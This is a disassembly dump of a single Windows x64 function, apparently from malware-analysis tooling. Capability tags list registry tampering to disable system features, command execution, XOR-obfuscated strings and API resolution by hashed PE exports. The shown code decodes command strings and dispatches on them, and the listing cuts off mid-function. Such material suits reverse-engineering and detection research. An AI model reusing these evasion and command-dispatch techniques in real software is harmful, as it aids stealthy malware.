Function at 0x140007c30
Capabilities:
Access peb ldr_data
Disable system features via registry on windows
Encode data using xor
Execute command
Hash data using fnv
Resolve function by parsing pe exports
Set registry value

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x180]
sub rsp, 0x280
movaps xmmword [rsp + 0x270], xmm6
mov rax, qword [0x140021040]
xor rax, rsp
mov qword [rbp + 0x160], rax
mov rsi, rdx
mov qword [rsp + 0x48], rcx
mov dword [rsp + 0x40], 0
mov rax, qword [r8 + 0x10]
cmp qword [r8 + 0x18], 0xf
jbe 0x140007c86
mov r8, qword [r8]
mov r14, qword [rdx + 0x10]
mov rcx, rsi
mov rbx, qword [rdx + 0x18]
cmp rbx, 0xf
jbe 0x140007c9a
mov rcx, qword [rdx]
mov qword [rsp + 0x20], rax
mov r9, r8
xor r8d, r8d
mov rdx, r14
call fcn.140002610
mov r13, rax
cmp rax, 0xffffffffffffffff
je 0x14000b0eb
movzx ecx, word [0x14001bc94]
mov word [rsp + 0x40], cx
cmp byte [0x14001bc95], 0
je 0x140007cde
mov r12b, 0xa
mov byte [rsp + 0x40], r12b
xor byte [rsp + 0x41], 0x38
jmp 0x140007ce4
movzx r12d, byte [rsp + 0x40]
lea rax, [rsp + 0x40]
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rax + rdi], 0
jne 0x140007cf0
mov r15, rsi
cmp rbx, 0xf
jbe 0x140007d05
mov r15, qword [rsi]
test rdi, rdi
jne 0x140007d1a
mov rbx, r13
cmp r14, r13
cmovb rbx, r14
lea r15, [rdi - 1]
jmp 0x140007d69
cmp rdi, r14
ja 0x140007d5f
sub r14, rdi
mov rbx, r13
cmp r14, r13
cmovb rbx, r14
add rbx, r15
nop
cmp byte [rbx], r12b
jne 0x140007d49
mov r8, rdi
lea rdx, [rsp + 0x40]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140007d53
cmp rbx, r15
je 0x140007d5f
dec rbx
jmp 0x140007d30
sub rbx, r15
mov r15, 0xffffffffffffffff
jmp 0x140007d69
mov r15, 0xffffffffffffffff
mov rbx, r15
xor edi, edi
cmp rbx, 0xffffffffffffffff
cmovne rdi, rbx
movzx eax, word [0x14001bc98]
mov word [rsp + 0x40], ax
cmp byte [0x14001bc99], 0
je 0x140007d92
mov byte [rsp + 0x40], 0xa
xor byte [rsp + 0x41], 0x38
lea rcx, [rsp + 0x40]
mov rax, r15
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140007da0
mov rbx, qword [rsi + 0x10]
mov rcx, rsi
mov r14, qword [rsi + 0x18]
cmp r14, 0xf
jbe 0x140007dbd
mov rcx, qword [rsi]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x40]
mov r8, r13
mov rdx, rbx
call fcn.140002610
cmp rax, 0xffffffffffffffff
cmove rax, rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xor r13d, r13d
mov qword [rbp + 0x40], r13
mov qword [rbp + 0x48], r13
cmp rbx, rdi
jb 0x14000b125
sub rax, rdi
sub rbx, rdi
cmp rbx, rax
cmovb rax, rbx
cmp r14, 0xf
jbe 0x140007e0b
mov rsi, qword [rsi]
lea rdx, [rsi + rdi]
mov r8, rax
lea rcx, [rbp + 0x30]
call fcn.140001570
nop
movzx eax, word [0x14001bc9c]
mov word [rsp + 0x40], ax
cmp byte [0x14001bc9d], 0
je 0x140007e3b
mov byte [rsp + 0x40], 0x7c
xor byte [rsp + 0x41], 0x38
lea rcx, [rsp + 0x40]
mov rax, r15
inc rax
cmp byte [rcx + rax], 0
jne 0x140007e43
lea rcx, [rbp + 0x30]
mov rbx, qword [rbp + 0x30]
mov rdi, qword [rbp + 0x48]
cmp rdi, 0xf
cmova rcx, rbx
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x40]
xor r8d, r8d
mov rsi, qword [rbp + 0x40]
mov rdx, rsi
call fcn.140002610
cmp rax, 0xffffffffffffffff
je 0x14000b0b1
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], r13
cmp rsi, rax
cmovb rax, rsi
lea rdx, [rbp + 0x30]
cmp rdi, 0xf
cmova rdx, rbx
mov r8, rax
lea rcx, [rsp + 0x68]
call fcn.140001570
nop
movsd xmm0, qword [str.TPYPNXMO__1D]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x14001bca8]
mov dword [rsp + 0x58], eax
movzx eax, word [0x14001bcac]
mov word [rsp + 0x5c], ax
mov r12d, dword [0x140021020]
cmp byte [0x14001bcad], 0
je 0x140008032
mov r8d, r13d
cmp r12d, 2
jl 0x140007ff6
movdqa xmm4, xmmword [0x14001c380]
movdqa xmm2, xmmword [0x14001c330]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001c350]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14001c390]
movd xmm0, dword [str.TPYPNXMO__1D]
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movdqa xmm3, xmmword [0x14001c340]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001c350]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14001c390]
movd xmm0, dword [rsp + 0x54]
xorps xmm2, xmm0
movd dword [rsp + 0x54], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140008001
lea rcx, [rsp + 0x50]
mov rax, r15
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140008040
lea rcx, [rsp + 0x68]
mov rdi, qword [rsp + 0x68]
mov rsi, qword [rbp - 0x80]
cmp rsi, 0xf
cmova rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
xor r8d, r8d
mov rbx, qword [rsp + 0x78]
mov rdx, rbx
call fcn.140002610
cmp rax, 0xffffffffffffffff
je 0x140008091
mov rbx, qword [rsp + 0x48]
mov rcx, rbx
call fcn.140004ca0
jmp 0x14000acca
movsd xmm0, qword [str.RVXXWYO_X__7D]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x14001bcb8]
mov dword [rsp + 0x58], eax
movzx eax, word [0x14001bcbc]
mov word [rsp + 0x5c], ax
cmp byte [0x14001bcbd], 0
je 0x140008211
mov r8d, r13d
cmp r12d, 2
jl 0x1400081d1
movdqa xmm4, xmmword [0x14001c380]
movdqa xmm2, xmmword [0x14001c330]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001c350]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
mov eax, dword [0x14001c390]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.RVXXWYO_X__7D]
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movdqa xmm3, xmmword [0x14001c340]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001c350]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400081e0
lea rcx, [rsp + 0x50]
mov rax, r15
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140008220
lea rcx, [rsp + 0x68]
cmp rsi, 0xf
cmova rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
xor r8d, r8d
mov rdx, rbx
call fcn.140002610
cmp rax, 0xffffffffffffffff
je 0x14000825f
mov rbx, qword [rsp + 0x48]
mov byte [rbx + 0x28], 0
jmp 0x14000acca
movsd xmm0, qword [str.SQJ_YPXLZ_0E]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x14001bcc8]
mov dword [rsp + 0x58], eax
movzx eax, word [0x14001bccc]
mov word [rsp + 0x5c], ax
movzx eax, byte [0x14001bcce]
mov byte [rsp + 0x5e], al
mov r8d, r13d
cmp r12d, 2
jl 0x14000839d
movdqa xmm4, xmmword [0x14001c380]
movdqa xmm2, xmmword [0x14001c330]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001c350]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
mov eax, dword [0x14001c390]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.SQJ_YPXLZ_0E]
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movdqa xmm3, xmmword [0x14001c340]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001c350]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400083b0
lea rcx, [rsp + 0x50]
mov rax, r15
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400083f0
lea rcx, [rsp + 0x68]
cmp rsi, 0xf
cmova rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
xor r8d, r8d
mov rdx, rbx
call fcn.140002610
cmp rax, 0xffffffffffffffff
je 0x14000842f
mov rbx, qword [rsp + 0x48]
mov byte [rbx + 0x28], 1
jmp 0x14000acca
movsd xmm0, qword [str.QJ_AYPQJ3_B]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x14001bcd8]
mov dword [rsp + 0x58], eax
cmp byte [0x14001bcdb], 0
je 0x1400085a1
mov r8d, r13d
cmp r12d, 2
jl 0x140008563
movdqa xmm4, xmmword [0x14001c380]
movdqa xmm2, xmmword [0x14001c330]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001c350]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
mov eax, dword [0x14001c390]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.QJ_AYPQJ3_B]
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movdqa xmm3, xmmword [0x14001c340]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001c350]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140008570
lea rcx, [rsp + 0x50]
mov rax, r15
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400085b0
lea rcx, [rsp + 0x68]
cmp rsi, 0xf
cmova rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
xor r8d, r8d
mov rdx, rbx
call fcn.140002610
cmp rax, 0xffffffffffffffff
je 0x1400085ef
mov rbx, qword [rsp + 0x48]
mov byte [rbx + 0x29], 1
jmp 0x14000acca
movsd xmm0, qword [str.BV_HYG_R_41D]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x14001bce8]
mov dword [rsp + 0x58], eax
movzx eax, word [0x14001bcec]
mov word [rsp + 0x5c], ax
cmp byte [0x14001bced], 0
je 0x140008771
mov r8d, r13d
cmp r12d, 2
jl 0x14000872f
movdqa xmm4, xmmword [0x14001c380]
movdqa xmm2, xmmword [0x14001c330]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001c350]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
mov eax, dword [0x14001c390]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.BV_HYG_R_41D]
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movdqa xmm3, xmmword [0x14001c340]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001c350]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140008740
lea rcx, [rsp + 0x50]
mov rax, r15
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140008780
lea rcx, [rsp + 0x68]
cmp rsi, 0xf
cmova rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
xor r8d, r8d
mov rdx, rbx
call fcn.140002610
cmp rax, 0xffffffffffffffff
je 0x1400087bf
mov rbx, qword [rsp + 0x48]
mov byte [rbx + 0x29], 0
jmp 0x14000acca
movups xmm0, xmmword [str.BHUUZXN_M___0_2G]
movups xmmword [rsp + 0x50], xmm0
movzx eax, byte [0x14001bd00]
mov byte [rsp + 0x60], al
mov r8d, r13d
cmp r12d, 2
jl 0x140008915
movdqa xmm5, xmmword [0x14001c330]
movdqa xmm4, xmmword [0x14001c380]
movdqa xmm6, xmmword [0x14001c350]
movdqa xmm0, xmmword [0x14001c390]
movdqa xmmword [rbp - 0x50], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rbp - 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140008810
cmp r8d, 0x11
jge 0x140008951
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140008920
lea rcx, [rsp + 0x50]
mov rax, r15
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140008960
lea rcx, [rsp + 0x68]
cmp rsi, 0xf
cmova rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
xor r8d, r8d
mov rdx, rbx
call fcn.140002610
cmp rax, 0xffffffffffffffff
je 0x140008b7e
mov rbx, qword [rsp + 0x48]
mov rcx, rbx
call fcn.14000fca0
movups xmm0, xmmword [0x14001bd08]
movups xmmword [rbp - 0x78], xmm0
movsd xmm0, qword [0x14001bd18]
movsd qword [rbp - 0x68], xmm0
mov eax, dword [0x14001bd20]
mov dword [rbp - 0x60], eax
movzx eax, word [0x14001bd24]
mov word [rbp - 0x5c], ax
cmp byte [0x14001bd25], 0
je 0x140008b61
mov r8d, r13d
cmp r12d, 2
jl 0x140008b25
movdqa xmm5, xmmword [0x14001c330]
movdqa xmm4, xmmword [0x14001c380]
movdqa xmm6, xmmword [0x14001c350]
movdqa xmm0, xmmword [0x14001c390]
movdqa xmmword [rbp - 0x50], xmm0
lea rcx, [rbp - 0x74]
mov edx, dword [rbp - 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140008a20
cmp r8d, 0x1e
jge 0x140008b61
movsxd rax, r8d
lea r9, [rbp - 0x78]
add r9, rax
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x140008b30
lea rdx, [rbp - 0x78]
lea rcx, [rbp - 0x10]
call fcn.140002840
mov rdx, rax
mov rcx, rbx
call fcn.1400188c0
jmp 0x14000acca
movsd xmm0, qword [str.SMTJHZTRZ3A]
movsd qword [rsp + 0x50], xmm0
movzx ecx, word [0x14001bd30]
mov word [rsp + 0x58], cx
movzx eax, byte [0x14001bd32]
mov byte [rsp + 0x50], 0x64
xor byte [rsp + 0x51], 0x38
xor byte [rsp + 0x52], 0x39
xor byte [rsp + 0x53], 0x3a
xor byte [rsp + 0x54], 0x3b
xor byte [rsp + 0x55], 0x3c
xor byte [rsp + 0x56], 0x3d
xor byte [rsp + 0x57], 0x3e
xor cl, 0x3f
mov byte [rsp + 0x58], cl
xor byte [rsp + 0x59], 0x40
xor al, 0x41
mov byte [rsp + 0x5a], al
lea rcx, [rsp + 0x50]
mov rax, r15
inc rax
cmp byte [rcx + rax], 0
jne 0x140008be1
lea rcx, [rsp + 0x68]
cmp rsi, 0xf
cmova rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
xor r8d, r8d
mov rdx, rbx
call fcn.140002610
cmp rax, 0xffffffffffffffff
je 0x140008cf5
lea r14, [rsp + 0x68]
cmp rsi, 0xf
cmova r14, rdi
test rbx, rbx
je 0x140008c42
mov r8, rbx
mov edx, 0x20
mov rcx, r14
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140008c42
sub rax, r14
jmp 0x140008c45
mov rax, r15
cmp rax, 0xffffffffffffffff
je 0x14000acc5
lea rcx, [rax + 1]
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
cmp rbx, rcx
jb 0x14000b137
sub rbx, rcx
mov r8, r15
cmp rbx, 0xffffffffffffffff
cmovb r8, rbx
lea rdx, [rsp + 0x68]
cmp rsi, 0xf
cmova rdx, rdi
add rdx, rcx
lea rcx, [rbp - 0x78]
call fcn.140001570
nop
lea rdx, [rbp - 0x78]
lea rcx, [rbp - 0x10]
call fcn.140002720
mov rdx, rax
mov rbx, qword [rsp + 0x48]
mov rcx, rbx
call fcn.1400188c0
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14000acca
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008ceb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000afe6
call fcn.1400194d8
jmp 0x14000acca
movsd xmm0, qword [0x14001bd38]
movsd qword [rsp + 0x50], xmm0
movzx eax, byte [0x14001bd40]
mov byte [rsp + 0x50], 0x67
xor byte [rsp + 0x51], 0x38
xor byte [rsp + 0x52], 0x39
xor byte [rsp + 0x53], 0x3a
xor byte [rsp + 0x54], 0x3b
xor byte [rsp + 0x55], 0x3c
xor byte [rsp + 0x56], 0x3d
xor byte [rsp + 0x57], 0x3e
xor al, 0x3f
mov byte [rsp + 0x58], al
lea rcx, [rsp + 0x50]
mov rax, r15
inc rax
cmp byte [rcx + rax], 0
jne 0x140008d40
lea rcx, [rsp + 0x68]
cmp rsi, 0xf
cmova rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
xor r8d, r8d
mov rdx, rbx
call fcn.140002610
cmp rax, 0xffffffffffffffff
je 0x140008fcb
movsd xmm0, qword [str.P_MLZPH__]
movsd qword [rsp + 0x50], xmm0
movzx eax, byte [0x14001bd50]
mov byte [rsp + 0x50], 0x67
xor byte [rsp + 0x51], 0x38
xor byte [rsp + 0x52], 0x39
xor byte [rsp + 0x53], 0x3a
xor byte [rsp + 0x54], 0x3b
xor byte [rsp + 0x55], 0x3c
xor byte [rsp + 0x56], 0x3d
xor byte [rsp + 0x57], 0x3e
xor al, 0x3f
mov byte [rsp + 0x58], al
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x60], r13
lea rax, [rsp + 0x50]
mov r8, r15
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140008dd0
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x78]
call fcn.140001570
nop
lea rsi, [rbp - 0x78]
mov r12, qword [rbp - 0x78]
mov r13, qword [rbp - 0x60]
cmp r13, 0xf
cmova rsi, r12
lea r15, [rsp + 0x68]
mov rdx, qword [rsp + 0x68]
mov r9, qword [rbp - 0x80]
cmp r9, 0xf
cmova r15, rdx
mov rdi, qword [rbp - 0x68]
mov r14, qword [rsp + 0x78]
cmp rdi, r14
ja 0x140008ea5
mov rax, r14
sub rax, rdi
test rdi, rdi
jne 0x140008e38
xor ebx, ebx
lea r15, [rdi - 1]
jmp 0x140008eaf
lea r12, [rax + r15]
movsx r13d, byte [rsi]
lea r8, [r12 + 1]
sub r8, r15
mov edx, r13d
mov rcx, r15
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x140008e94
nop dword [rax + rax]
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
